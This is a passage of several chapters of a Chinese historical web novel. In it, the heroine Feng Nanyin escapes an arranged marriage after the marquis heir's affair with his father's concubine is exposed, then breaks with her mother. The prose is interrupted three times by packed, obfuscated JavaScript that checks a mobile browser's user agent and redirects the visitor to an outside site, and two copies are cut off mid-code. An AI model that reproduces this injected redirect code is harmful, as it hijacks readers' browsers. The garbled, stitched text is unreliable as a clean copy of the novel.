“希望那个纨绔真有一点本事。” 凤南茵唤他,“师伯,饭都盛出来了,你怎么还没过来。” “来了,来了。” 今日周家母女过来,周氏身子不好,刘婶特意做了一锅棒骨汤,里面加了豆腐和笋干。 棒骨的肉是刘长山剃的,上面留了好多的肉,这会拆下来装在盘里,每人碗里都是浓稠的骨头汤,配上满满的白米饭,还有一盘鲜嫩油亮的炒白菜,那香味还没坐下就闻到了。 刘婶打理完灶台就回去了,周氏由女儿搀扶着走进来,看着桌上的吃食手足无措。 “水水,快,伺候小姐和老爷吃饭。” 凤南茵拉着周家母女坐下,“这深宅大院里,主仆关系确实要分明,可咱们家现在就四人,没那么多规矩。这一桌子饭都盛好了,都坐下一起吃。” 她将那碗满满大补的骨汤推到周婶子面前,“与其在这里客套,不如快一点把身子养好,也不枉刘婶特意给你做的骨汤。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242536|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周氏眼圈红的厉害,也不知自己祖上积了啥福,让她遇到了这么好的小姐。 凤南茵见她还为难,拉着水水先坐下,给她夹了一大块瘦肉。 “吃吧,把身体养好,我教你识字,辨别药材。” “谢谢小姐。” 凤南茵忽然就有一些释然了,那么多绝境都闯过来了,这点难关算什么。 只要她不想嫁,谁来也不行。 “吃,这些都吃光,下顿吃好的。” 周氏还想拉着女儿坐到一旁吃,看着女儿嘴里塞的满满的肉,小嘴上沾的油,她不停地抹眼泪。 “快死之前,我也不敢这样想。”能吃上糙面馍馍都是奢望了,哪知她就是跪下求了一求,竟是改变了命运。 看着有饭、有肉的日子,才发现活着是这样好。 “周婶要是觉得过意不去,日后就将你们小姐当自己女儿一样疼,万事都替她考虑就行了。” “诶,那是一定的,小姐救了咱们,日后就算是要咱们的命也是给的。” 宫良呵笑,拿出两张身契。 “别小看你们小姐,跟了她这辈子都不会再让你们挨饿吃苦,一会吃完饭把身契签了。” 他拿出二两银子,“这是预知的月银,明天你带着水水去置办件衣服,短了什么也可以提。” 周氏作势又要跪下,能吃饱饭都不知要怎么感恩了,这哪还好要银子。 又是一番客套,周氏将银钱收下了。 日后的生活有了着落,人的精气神也起来了,周氏的病好像一饭之间就好了。 晚上又是烧炕火,又是铺被褥,将四人睡的屋子都拾掇的暖和又规整,连热水都打好了。 凤南茵没多劝,对方有精神气干活是好事,有得忙这心里才会踏实。 天彻底黑下来了,大门外有人敲门,声音不大,却一声比一声急促。 凤南茵出来准备去看时,周婶子已经披了衣服到了前面。 “找谁?” “凤家二小姐在吗,我有急事与她谈。”来人说话声音细弱,一看就是个姑娘家。 凤南茵疑惑,这石门府她认识的姑娘也就凤南蓉了,还有谁会找她? 第一百零三章一府的坏胚 周氏又问:“你是谁,见我们家小姐什么事?” 门外却没了动静,只是依旧不停地叩着门。 “小姐,现在世道还不太平,别不是歹人。” 凤南茵走过来,扒着门缝向外瞧,街道上黑凄凄的,两个朦胧的身影站在门前,一人头戴着兜帽,整个身形都挡在大氅之下。 另一个敲门的瞧得真切,是个小丫鬟模样打扮。 凤南茵好奇,这是谁家的小姐带着丫鬟半夜来寻她。 “咱们店只卖药不看诊,若无急事明日再来吧。” 她说这话时,眼睛是透着门缝的,就瞧见那个戴兜帽的人露出了小脸上前。 “是南茵姐姐吧,事关你的婚事,你当真不要听吗?” 婚事? 凤南茵让周婶子将门板打开,将人让了进来。 少女脱掉兜帽,烛火照应下,眼前小姐的个头比她高出半个头,年纪应该也比自己长。 “你是?” “南茵妹妹,我是侯府的大姑娘,盛笑慧。” “是表姐,真没想到与你认识,会是这种情况下。” 盛笑慧笑笑,“其实我见过你,那天你来侯府借宿,一身男子装扮出门寻人讨要吃食,我就见过你。” 凤南茵没说话,她与侯府所有人都不相熟。 “南茵妹妹,你可知姑母将你许给了侯府?” 凤南茵:“……” 怎么她的婚事世人皆知了吗?偏她本人还没被通知道。 “你这么晚私自跑出府,只为了和我说与你不相关的事?” 盛笑慧惨然一笑,“妹妹好厉害,不愧是将凤南蓉带到石门府的人,什么都瞒不住你。” 她说这话时,偷眼打量凤南茵,见她容貌也是出众,只是没有凤南蓉那样惹眼,确实耐看型,尤其是那双眼睛,晶亮带着伶俐劲,黑黝黝的。 “你不必多心,我来确实只为了帮你,我知道你是在乡下长大,被弃养的那个,所以姑母对你并不亲厚,就像我,虽是盛家的长女,因为是庶出,在爹爹那说话也是没有分量。” 凤南茵暗暗思忖:怎么,感同身受,所以跑来怜悯她? 盛笑慧侧头打量她,这个没见过面的表姐与凤南蓉长像不一样,神态也不像。 “你与南蓉表姐真的是双生胎吗?” “你想知道什么呢?” 盛笑慧见她神色淡淡的,便没了拉近关系的心思。 “看来妹妹并不欢喜见到我这个表姐,那我也不与你客套了,你想办法逃吧,我不知母亲打的什么主意,但你嫁到侯府肯定会过得很惨。” “就为这?” 凤南茵:“我知道世子的名声在石门府不太好,可世上女子哪个不是盲婚哑嫁。就算那男子在外面的名声再好,嫁了也未必会幸福吧?” 她在赵家弯她见过太多女子成婚后,被婆家**的,几乎家家新妇都会被打,她那会就想不通,为什么一定要嫁人。 盛笑慧见她不听劝,急切道:“不是这样的,你是不知我哥他的恶劣,他……” 她想着,自己若是不说出来,这个表妹还以为嫁到侯府是个不错的出路,那就真的没人帮她了。 “我实话告诉你吧,我哥他喜欢父亲的小妾,二人有染好多年了,他这样风流的人,连个忌讳都没有,是不会对你好的。” 凤南茵的三观被震碎一地,这个盛闳还真是超出她的认知,竟然不止**这四样,还有乱…… 最后那个字,她在心中想想都觉得恶心。 “你担着风险来告诉我这些,想我怎么帮你呢?” 盛笑慧一把抓住她的手,眼中已经落下泪,看着好不可怜。 “妹妹,我将不该说的都告诉你了,你知道嫁我表哥日子绝对不会幸福,而我也是因为在嫡母近前日子不好过,我不想被随便打发了嫁人,侯府今年选秀的名额是给我的,可是被姑母拿走了。” “表妹,你将那名额偷出来还我好不好,我这里有自己攒的十两银子,不够我还有一些首饰,我都给你。” 凤南茵抽出自己的手,原来让她偷选秀名额才是目的。 “表姐,我同情你的处境,也感激你特意跑来告知我这些,可我帮不上你。” 盛笑慧眼泪一瞬间便停住了,不敢置信地看着她,“即便这样,你也想嫁过来?” “那倒不是,只是我做不到帮你偷东西这件事,所以没办法 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凤南茵万没想到,看似柔弱的周氏,竟然能瞬间将事情看得这么透彻,把对方骂得没有还嘴的借口。 盛笑慧被扬了面子,怨毒地瞪了凤南茵一眼,“不听劝,就等着嫁过来受罪吧!” 周氏拿起木板就将那道怨毒的视线挡在外面,哼了一声。 “还说自己哥哥人品不好,你也没好到哪去,教唆别人偷东西,一家都是坏胚。” 凤南茵打了一个哈欠往回走,“亏得有周婶你在,不然拒绝这事还要耽误好一会。” 周氏道:“小姐快回屋吧,夜里前堂冷,别冻着了。” 凤南茵回到房中,躺在小炕上,望着房梁,想着盛笑慧的话。 她从前光想着过好自己的生活就算了,从没想过插手别人的人生,可显然凤南蓉不是这样想的。 她在凤府住着,侯夫人给儿子找媳妇,定是第一时间选中她,可是不知凤南蓉用了什么法子,将那个烂人推给自己。 不管她的法子是什么,她想毁了自己从中夺利。 不行,若是这件事她都能当做没发生,就这样遂了凤南蓉的意,那就活该一辈子被人欺负。 第一百零四章宫良为了小丫头,义薄云天 眼下,她有两件事要做。 一是怎么断了凤夫人的念头,不嫁给承阳侯世子。 二是毁了凤南蓉飞上枝头做凤凰的梦。 偷秀女名额这事不现实,后院没有她的人,她也没那本事在人眼皮子底下偷出东西。 买偷儿去盗,容易落人把柄反被拿捏。 更何况周婶有句话说的对,入宫不一定就好过。 凤夫人说过,自己是唯一去狱中探望她的人,这说明权贵之人皆势利,只与自己身份相配的人往来。 凤南蓉现在没有家世,入宫这条路未必好走。 既然是一条荆棘路,凤南蓉那样的性子若能淌过去,算她本事。 那么眼下紧要的是考虑怎么拒绝这婚事,这事还要从盛闳那里下手才行。 她翻来覆去想了一晚上,也不知什么时候就睡着了。 翌日,她从睡梦中醒来,还处在迷糊当中,梦里她站在高处,看着凤南蓉匍匐在她身下,对她请安问礼,跪求她原谅自己。 她忍不住扶额,失笑出声。 真是魔怔了,竟然会做这种梦。 起身套了袄子,就听周婶在叫她,“小姐,前堂有客人来找您。” 这么早,又有人来找她,不会又是盛笑慧吧。 “让她等着。” 哪有一早堵人被窝的道理,这位盛家庶女好没礼貌,还侯府千金呢。 “诶呦,几天不见茵儿小妹,这脾气见涨啊!” 凤南茵吃惊,这声音? “魏锦,你怎么一大早上跑来石门府了?” 看着他一身风霜,像是天不亮就在赶路了。 “别说那些,赶紧给小爷整碗姜汤,这天真是越来越冷了。” 宫良披了袄子出来,热情地过来招呼人,“魏公子来了,快到老夫房中烤烤火,这一路手脚都冻坏了吧。” 凤南茵:“……” 这什么情况?师伯不是最讨厌魏锦,说他不务正业,是个纨绔,会影响自己名声,要远着些吗? 咋,咋这样殷勤勒?啥时候变了态度? 魏锦对凤南茵挤眉弄眼,道:“看什么,宫大夫对我好不行吗?快洗脸吧,嘴角还有口水印,咦!” 凤南茵脸色瞬间涨红,抬起袖子去擦,她脸上有口水印? 周氏在旁笑,“小姐别担心,这位公子与您说笑的。热水都打好了,您快去梳洗吧。” 凤南茵对着魏锦的背影挤了一个鬼脸,不过她还是好奇,这家伙到底是啥急事一早跑过来? 她拍了一下脑袋,是自己给留的药方要换了? “哼,色胚,还真是急不可耐。” 魏锦坐下后,双手放到炭盆上,收了刚刚的嬉笑模样。 “宫大夫,信中所说之事到底是什么情况?” 宫良给他泡了一杯山楂枸杞茶放到一旁,“这茶温补,你平日可以常喝。” 坐下后,他长长叹了一口气。 “不瞒魏公子,这事要不是老朽看不下去,也不会给您写信,实在是丫头命不好,为了家人做了那么多,却被他们当成交易的筹码。” 他将盛夫人为了给大女儿铺路,用南茵的幸福换了选秀资格一事说了。 宫良话音还未落,魏锦先讥讽笑出了声。 “这世家贵族的宅邸,还真是无一家不腌臜。” 盛闳那个瘪犊子玩意,在石门府的臭名都传遍大街了,他在这边不过逗留数日,便晓得他这人有多不堪。 盛夫人还真是舍得,用自己的亲生女儿谋利。 “这事你不用担心,既然还是纸上谈兵,一切都好说,我让侯府自己就没脸提这事,不用伤到小丫头名声半分。” 宫良听罢,起身一揖倒地,“老朽昔日对魏公子有所成见,实乃被传言所误,今日郑重向公子道歉,老朽愿意……” 魏锦伸手制止他继续说下去。 “我不是因为你的承诺来的,我的病丫头已经治好的七七八八。南茵是我自己重视的人,我最难的时候她帮了我,她遇到困难我便不会袖手旁观,这与你无关。” 宫良没想到他如此重情义,可是依旧不想消耗小丫头的情份,更不希望丫头欠他太多,将来被人拿来当话柄。 “人是我请来的,哪怕你是看在丫头的情面上,这份情也要由老夫来还。此事过后,老朽愿意隐姓埋名,到魏府做一名府医,替魏家效力。” 这一点倒是让魏锦心动了,但是宫大夫受皇后制约,不可给人看病,此事他也不敢 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难道真是他所想的那样,这个纨绔看上了丫头,做了义妹就不能收在身边,如今的相帮都是为自己日后做铺垫? 他脸色一瞬间不好,魏锦到底没有官身,不比那盛闳强到哪里,不是一个好的终身托付人。 魏锦心中哀戚,遗憾道:“我倒是想帮,可家母多年前病逝,如今我与继母感情并不深厚。” “啊,竟是这般。” 宫良汗颜,是他小人之心了。 原本还在犹豫,忽然就觉得自己的心机太过,不如人家魏公子坦诚。 “魏公子,老朽承诺,此事一了,便随您过府。” “真的?不为难您?” 魏锦吃惊不已,要知道,这一去,那是冒着大不违,是死罪的。 宫大夫真的愿意? 此时宫良身体里忽然有义薄云天的豪气,这种意愿只在年轻那时才有过。 “你真心相待,我又怎可推脱之外,那不是君子所为。” 凤南茵掀帘子进来,“师伯,你和魏公子在聊什么,什么不是君子所为?” 第一百零五章雪梅园走水了 宫良不想小丫头担忧,搪塞道:“在谈侯府办的事,就不是君子所为,我们在想对策。” 凤南茵不疑有他,坐下来。 “昨天盛家的庶女来找过我。” 当着魏锦的面,她不好意思说出口,“周婶,你给师伯他们学学吧。” 小丫头脸涨如苹果,道:“我看刘婶今天做什么好吃的,魏锦哥哥来了,我让她加个菜。” 魏锦一脸好奇,“这话还没说就跑了?” 周婶打了一个嗨声,“还不是听到的事情太不堪,咱们小姐不好意思在这里听。” 周婶见两位爷都在看着她,略微难为情了瞬间,“其实,这事吧,他确实让人难以启齿,就是这位侯府世子爷和他爹的妾氏,那个。” 她说完,自己的脸也是羞得通红,这事说给两个爷们听,她确实难以启齿。 魏锦听了这话倒是不觉得有啥,毕竟比这还腌臜的事他都听说过。 他一拍巴掌,“瞧,这送上门的把柄不就有了,只要这事传扬开了,那凤夫人要是还好意思将自己的女儿许配给自己侄儿,那她就要考虑一下自己的名声了。” 宫良点头,“确实如此,这位盛家庶出姑娘还真是送来一个有用的消息。” 周婶看看这个,又看看那个,红着脸,“那我就先退下了。” 魏锦挥手,接下来的话他也不好意思当着这女人说。 关上门,魏锦在心中思忖了片刻。 “这样,我找机会约承阳侯出来吃酒,给咱们的世子创造一个得天独厚的好机会,然后……” 他嘿嘿冷笑。 凤南茵耳朵贴紧了墙壁,恨不得小脑袋瓜都钻进去,也没听到只言片语。 她撅嘴,“师伯到底瞒着我和魏锦谈什么呢?” 周婶这时回来,看到小姐偷听,忙将人给拽回来。 “哎呦,小姐可做不得这种事,让人知道多不好。” 凤南茵撅唇,“魏锦和师伯怪怪的,总觉得他们背着我在密谋什么事。” “密谋什么也都不会对小姐不利,女孩子可不能有那么重的好奇心。”她还在为刚刚学舌的话臊得慌。 凤南茵一脸颓丧,“我是怕师伯答应魏锦什么条件。” 她不想师伯为了她冒险,师伯对她已经很好了。 魏锦的计划在晚上,在药堂蹭了一顿饭后,白天他又没了踪迹。 凤南茵一天都心不在焉的,南院过来传话找过她,让她去吃饭。 她让周婶给搪塞了,谎称自己去庄上给人瞧病,不在家。 安伯亲自来寻过一次,见前面来了一个十来岁的小娃娃在洒扫,确实不见二小姐,对宫良道。 “我家夫人买了几个奴婢,叫二小姐过去挑选两个到身边伺候。” 水水怔在那里,口无遮拦地问:“为什么还要买人伺候小姐?我和娘不就是小姐的奴婢吗?” 周婶忙从后面冲过来,捂上女儿的嘴。 “这位大人勿怪,丫头年纪小不懂规矩,不过她说的也没错,二小姐身边有我和水水照顾,应该不缺人。” 安伯上下打量她们母女二人两眼,哼了一声。 “连规矩都不懂,你们能伺候好主子?” 宫良哼了一声,“不懂规矩总比心怀鬼胎要强百倍,身边的人还是用自己带回来的才放心。” 安伯皱眉,“你这话说的就不对了,谁会对二小姐心怀鬼胎。 “谁有坏心那人自己清楚,这里是药堂不是你们凤府,不送。” 安伯讨了个没趣,惹了一肚子气回去。 到了凤夫人面前,便忍不住告状,“夫人,依老奴看,您还是尽快将二小姐叫回来住的好,那保和堂没一个有规矩的。” “怎么?那丫头又受那个老东西挑唆,连回来一趟都不愿意了?” 安伯虽然气,倒是不会扯谎。 “二小姐不在,但是那保和堂的大夫给二小姐买了婆子和丫鬟,只是老奴看着都是没规矩的,怕带坏了小姐。” 凤南蓉在一旁挑拨,道:“母亲,我看妹妹就是有意与您作对,藏了起来,您还想着给她买下人,这份好心她是半点也不会领情的。” “算了,她与我已经离了心,不想过来就随她。” 如此直到亲事定下那天,她也能少一些愧疚。 魏锦这日去了一趟衙门,他没有直接去找盛元德,而是找了知府大人,说了一些冠冕堂皇的话,借着他祖父的名头狐假虎威地夸赞了一下当地赈灾事宜处理的 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盛元德心道可惜,自己嫡长女年纪还小,庶女容貌又上不得台面,不然送给魏公子,这关系就打牢了。 当晚,魏锦过府,自是好一番热闹。 盛元德一边陪着笑,一边在心中暗骂这个逆子,这么好与魏公子拉近关系的机会,这个没用的东西也不知跑到哪里去了。 魏锦早已经找了人,使用计策给了盛闳一份虎狼药,这会他怕是迫不及待去体验舒爽了。 偏他还在盛侯爷面前给盛闳上眼药。 “听闻侯府世子与我年纪相仿,本想与之结识一下,没想到他竟是不在府上。” 盛元德心下气恼,嘴上赔着不是,“犬子近日不曾回府,并不知魏公子前来,错过这等相识的机会,盛某自罚三杯。” 这边才举杯,后院那边叫嚷起来,“不好了,走水!” 管家立即向侯爷这边禀报。 “侯爷,雪梅园走水了。” 盛元德心肝都跟着颤了一颤,那可是他爱妾,雪姨娘院落,怎么好端端的走水了。 第一百零六章从心里,断了母女情意 常言说,人之将死,其言也善。 盛元德如今对失去一个儿子再没有心疼,而他现在甚至想掐死另一个儿子。 魏锦热闹看够了,忙叫身边的人。 “诶,你们别都光看热闹啊,快拦着些,已经**一个了,可不能再闹出人命了。” 吴惠兰此时已经吓得双腿发软。 她自是知道儿子背后做下的那些荒唐事,可万万没想到,这个看起来安静、乖顺的文姨娘竟然胆子这样大,竟然怀的不是侯爷的孩子。 可这事你做就做了,说出来不是想害死闳哥儿吗! 现在该怎么办? 盛元德一眼看到花之身上配剑,抽出来就要**这个不是东西的畜牲。 吴惠兰直接跪倒在儿子近前,声泪俱下地求着。 “侯爷,侯爷饶了闳儿吧,他年纪经不住诱惑,才会犯下傻事,他是你唯一的嫡子啊。” “饶了他?我恨不得连你也想杀了,都是你纵容他才养成了现在的恶**,我现在就杀了他,免得日后闯出更大的祸事。” “侯爷……”吴惠兰此时除了哭,已经不知怎么相求。 那么多外人在,今天盛家的脸面算是丢尽了。 “侯爷,求您给闳儿一个改错的机会吧!” “改?他都欺辱到老子头上了,你觉得他会改?” 他抬起手,剑就要劈下,那阵仗当真没有留情面。 盛闳眼睛也生出一丝恨意,想起身反抗。 可花之动作更快,主子这边一个眼色,那边他手刀劈下,盛侯爷直直晕倒在地。 魏锦摇头,“诶,侯爷家出了这等子事,需要慢慢处理,我等不便多做叨扰,告辞。” 吴惠兰感激涕零,陪着好话,“多谢魏公子相助,今天让您看笑话了。” “侯夫人不必客气,侯爷醒来你好好劝劝。告辞。” 该办的事办完了,该吃的瓜也吃完了,最后还落了个好,魏锦勾着唇,心满意足离开。 翌日 整个府台衙门都传开了,承阳侯世子给他老子送了一顶绿帽子。 侯府这事闹得有多大,外面的传言就有多凶,不出半日,成了全城酒肆茶馆的谈资。 安伯从外面采买回来,差点跑丢了一只鞋子,寒冬腊月的天,愣是给自己跑出一身的汗。 “夫人,不好了,出事了,出事了。” 凤夫人一早醒来右眼皮就在跳个不停,她托弟弟打听儿子泽宇的消息,说人在南边一个边陲小镇出了事,不过已经无碍,正在往回京的路上赶。 安伯这么一喊,她呼吸都要停滞了,就怕儿子又遇到险。 “是我儿的消息吗?” 安伯喘着粗气,已经说不出话来,不住地摇头。 “不是,不是。” 安伯好半晌,砸着心口才将气喘匀。 “是世子,世子出事了。” 盛青兰一听不是她儿的事,忍不住白了安伯一眼。 “一把年纪的人了,怎么越发地失了稳重。” 安伯当下恭谨下腰,“夫人,这事关乎二小姐的婚事,世子与侯爷妾氏有染的消息传遍了石门府,若是您再将二小姐嫁过去,怕是要被世人诟病了。” “什么?” 盛青岚眉头拧成了川字,“还真是给盛家丢人,怎么就生出这么个不是东西的玩意。” “这样挺好,他自己作死,倒是全了我们母女的情份。” 她拿起帕子掸了掸身上的浮尘,“我现在去一趟保和堂,看看我儿这两日在忙什么,我们母女也有几日没好好交心了。” 她在心中安慰,亏得亲事没有说,不然南茵必然嫉恨她。 魏锦这时正准备回京,他跨上踏雪,冲凤南茵挤了挤眼。 “等着收好消息吧,走了。” 凤南茵噘着嘴,现在终于知道师伯和他在密谋啥事了,原来是为了她的婚事。 现在侯府那边丑事传尽,是个聪明人都不会在这个时候与其订亲,除非是不想要脸了。 她的亲事算是拖延下来了。 可是她不想是在牺牲师伯的安宁平静生活下。 她不能哭,也不能在外叫师伯多小心,怕隔墙有耳被人知道,只能默默地对着马车摆手,一张小脸因为担心都皱巴成了一团。 这时,凤夫人带着古嬷嬷来了。 “南茵,你在这与谁道别?”盛青岚翘首张望,可惜她只看到一个年轻公子的背影。 凤南茵看到她便想到师伯为自己做的牺牲,甚至连魏锦这个外人都不惜冒着严寒特意赶过来相助。 可是她的娘,一心想的竟是算计她。 亲疏远近,一看便知,这份血亲情还真是廉价。 “你看错了,我只是在听大街上的传闻,真热闹。” 凤夫人脸色一变,“你一个闺阁小姐,做那等妇人的姿态成何体统,该学学你大姐姐。” 凤南茵一想到师伯为她牺牲的,心中对凤氏就多了一丝仇恨。 “只是想让自己消息灵通一些不受人蒙蔽,怎么就成了不知体统。夫人要是晓得当初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242540|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我和凤南蓉在乱葬岗过夜,在野人坡前如何逃生,不晓得我们经历过那样的不体面,还能不能说出体统两字。” 盛青岚被怼得哑口无言,她问:“你在恨我?就因为我说你不如南蓉?甚至连母亲都不叫我了?” 凤南茵也不与她遮掩,“我不该恨吗?” 她一声反问,盛青岚直接落下泪,上前想抓住凤南茵的手,试图解释。 “你这是做什么?母亲让你回家里住,不让你抛头露面,除了为凤家,也是为了你啊!” 凤南茵快一步退后进了店里,“你是为了凤家,但不是为了我。” “你为了给凤南蓉换未知的前程,想将我嫁给一个欺世盗名,男盗女娼的玩意,真真是好母亲。” 盛青岚的视线猛地扫向古嬷嬷,“你告诉她的?” 她失望地看着古嬷嬷,神色当中有想将人处死的恼怒。 古嬷嬷脸色一白,不知该如何申辩。 凤南茵呵笑,“夫人是怎么也想不到我是从谁那听说的,你动了谁的点心,那人自然心有不甘。莫要小瞧了任何一个人,即便我在你心里,低入尘埃,我若不想嫁,谁也不能左右我的婚事。” “盛闳就是例子。” 盛青岚差点一口气没上来背过去。 她指着凤南茵,“你,你竟是这等张狂的性子,亏我这些年日夜对你思念,每逢初一十五就去上香祈求你平安。你祖母果然有远见,你还真是那个扫把星。” 凤南茵的心再坚毅,哪怕已经把亲情都看透,听到亲生母亲骂她是扫把星,还是忍不住想哭。 她努力让自己下巴扬起,让眼睛看着上升的太阳,不让眼泪落下来。 可心还是好疼。 “对,我是扫把星,可祖母还少预料到一件事,她没有想到最后会死在自己儿媳妇手里。” “啪!” 清脆的巴掌声传遍了半个街口,凤南茵被打,耳朵里一阵刺耳的嗡鸣。 水水见小姐被打,快速跑向后面找娘,她们替小姐撑腰,不要坏人欺负小姐。 古嬷嬷忙上前拦着,“夫人,您这是做什么呀?” 不是要拉拢二小姐的心吗,这动了手可怎么是好。 凤南茵慢慢站定了身子,抬手摸了摸瞬间肿胀起来的脸颊,看向凤夫人忽然笑了。 “你我本就母女缘浅,先前舍我饭的恩情,牢中探视我还了。生我的恩情,我救下凤南蓉一命也算是抵了,这一巴掌,就算断了我们母女关系,你可以不同意,但在我心中,你不再是我娘亲。” 第一百零七章母女生分 盛青岚没有被人这般忤逆过,凤南茵是第一个。 而她被问在原地,竟是说不一个反驳字。 “凤南茵,你可晓得,当朝律法有言,不孝顺长辈者,皆可被判死罪。” 凤南茵落在门框上的手指陷入木缝里,心拔凉。 “你要把我送官?” 古嬷嬷见母女二人生分成这样,忙上前劝诫着。 “二小姐,夫人一时说的都是气话,夫人亲自过来叫你回去吃饺子,心里是真的惦记着你的。” “一个打心眼里不认我这个娘的人,怕是烦了我的惦记。” “夫人,您也理解一下二小姐吧,她年纪这小,听说那么一门的婚事会想错,误解您也是正常。 古嬷嬷要急**,如今凤府分了家,长房也被卖的卖,赶的赶,夫人身边没有谁了。 怎么能和小姐这样置气。 “二小姐,夫人也是才听说世子的那些不堪入耳之事,从前咱们都在京城住,每次回来小住那么几日,也看不出什么端倪,您是真的误会了夫人的初心。” 凤南茵并不戳穿古嬷嬷,不管她说什么,一个心里惦记她好的奴才,她会一直感恩。 她手指几乎抠脱力,只是直直地瞪着盛青岚。 这一刻,骨子里都倔犟的母女二人谁也相让。 凤南茵反问:“是吗,若是要我相信是误会,可以将选秀的名额给我,让大姐姐嫁世子,母亲意下如何。” 盛青岚很想讥讽她两句不自量力。 但这事,她还真觉得自己心下委屈。 她道:“我不是没考虑过这个问题,你的容貌不比你姐姐差,你灵动、你姐姐柔媚,一个眉眼像年轻时的我,一个像你爹多些。” “可是茵儿,入宫不是只有相貌与家世就够了,四艺你一样不会,你让母亲怎么弃了你长姐选择你?” “当初想着让你与侯府结亲,也是觉得那是娘舅家,念着两家亲情,你舅母和你表哥不会对你差了,总比你整日抛头露面做这下九流的行业强。” 凤南茵晓得,在贵人眼里,哪怕大夫得罪不得,也是伺候人的差事。 是下九流上不得台面的职业。 所以凤夫人的话刺耳难听,脸上的巴掌还火辣未褪,这几句解释她一个字也听不进去。 “现在我知道了,铺子里还有好多事情要做,夫人请回吧。” 周婶子这会拿着扫把也出来,拉着水水站在凤南茵身后,护小鸡仔一样,只要这位夫人再敢打小姐一下,她就拿扫把赶人。 盛青岚气得鼻孔都大了,她觉得,南茵给的冷漠疏离,比当初被官差抓走还要难受。 若是再留下和这丫头理论,自己怕是要疯。 “总有一天你会知道,我都是为你好。” 凤南茵本就因为师伯进京心情难过,又吵了嘴,对周婶道:“把铺子关了吧。” 反正保和堂也不靠散客的钱为生,索性关了清静。 周婶这心里却是不踏实,总觉得今日这事,发生这么大的冲突,小姐性子又这么刚烈,怕是将那位夫人给得罪狠了。 “小姐,奴婢这心里不踏实,您要不要给那位古嬷嬷一些好处,让她帮着您盯着一点那边的动静。” 凤南茵摇头,“她到底是凤夫人的陪嫁嬷嬷,你觉得她会帮我?” “奴婢觉得她虽是夫人的嬷嬷,可她心地柔软,总是心里有着小姐您的。” 凤南茵想着,周婶说的对,防着总比什么都不知道强。 “这是五十两银子,也不用她做什么,听到什么风声,只需传个话就好,我不会让她难做的。” …… 皇宫。 德妃难得与儿子吃一顿饭,哪怕嘴角噙着笑,不停地给时景轩夹菜,可是那筷子就没送到自己嘴里一下,眼底也是落寞寡欢的。 知母莫若子,靖子一下子就感觉到母妃心情不佳。 “母妃,近来宫中可有让您心烦之事?” 德妃叹了一口气,将筷子落下,也不瞒着。 “先前你做了那么多,怕是都无用了。” 靖王挑眉,“母亲为何这样说?” “昨日我去皇后娘娘那里请安,听闻贵妃又有身孕了。” “皇上已经过了知天命的年纪,后宫多少年没有妃嫔孕有子嗣,贵妃有孕,皇上大喜,已经下令恕安王的禁令,今晨又送去翊坤宫不少的赏赐。” “这是要母贫子贵了。” 德妃不满地看着儿子,“先前你领兵,无暇顾及婚事,来年春选秀,说什么也要在里边挑选一位正妃,早些诞下子嗣很重要。” 她强调的是子嗣重要。 因为所有人都看出来了,太子成婚五年,东宫一直没有喜讯传出,怕是身子糟糕到无法留后。 如今封王的皇子只有安王与靖王,安五娶妻两年,只正妃诞下一个女儿。 后继有人,对于将来争夺储君之位有着至关重要的影响。 靖王没有反对,自己年纪到了,总是要成婚。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15242541|166304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只是他这会想到魏锦与自己提的事。 “今春选秀,儿臣倒是想母妃能在身边安排一个人。” 德妃忽然生出好奇之意,“哦,我儿有意中人了?不知是哪府的姑娘,多大年纪,人品如何?” 靖王忍不住失笑,“母妃,我才提了一嘴,怎么就扯到意中人上去了。我才回京多久,哪里认识姑娘。” 德妃睨了他一眼,“你这不近女色的毛病,也不知像了谁。” 这是儿子自己次与自己张嘴,德妃好奇不已。 “哪家姑娘你倒是说说,不然人入了宫,被别的宫中抢了先,你可别怪我不想出力。” “凤家的姑娘。” 德妃脸色瞬间沉下来,极是失望。 “早年我与凤夫人是手帕交,她于我还有一些恩情,她托你送南珠时,我就想到了她的目的,可是如今凤南蓉的身份已经不再适合安排在你身边,这事你说说就罢了。” 德妃甚至还有一丝生气,盛青岚越发不知轻重,她儿的身份是凤南蓉能攀上的。 竟想挟恩图报! 她语气不善道:“她何便变得这等执拗,如今没了国公府为靠,还要赌上女儿的气运。” 靖王无奈道:“母妃,这事与凤夫人无关,是我自己想求母妃相助,安排的是凤家二姑娘。” “你竟让母妃提携一个庶女?” 靖王让她冷静,“此事说来话长。” 靖王愿意替凤南茵开这个口,一来是小丫头于他也算有过几面之缘,恩情各半。 二来,他实属觉得这丫头有那么一点——可怜。 魏锦为了帮她拒婚,亲自去揭露盛闳的卑劣。 可这也没挡住盛青岚将女儿许配给侯府的决心。 一想到那样果感富有大义的姑娘,心里总不想她就这样嫁人,总觉得这样一个灵魂都带着趣意的姑娘该有更多的发展才是。 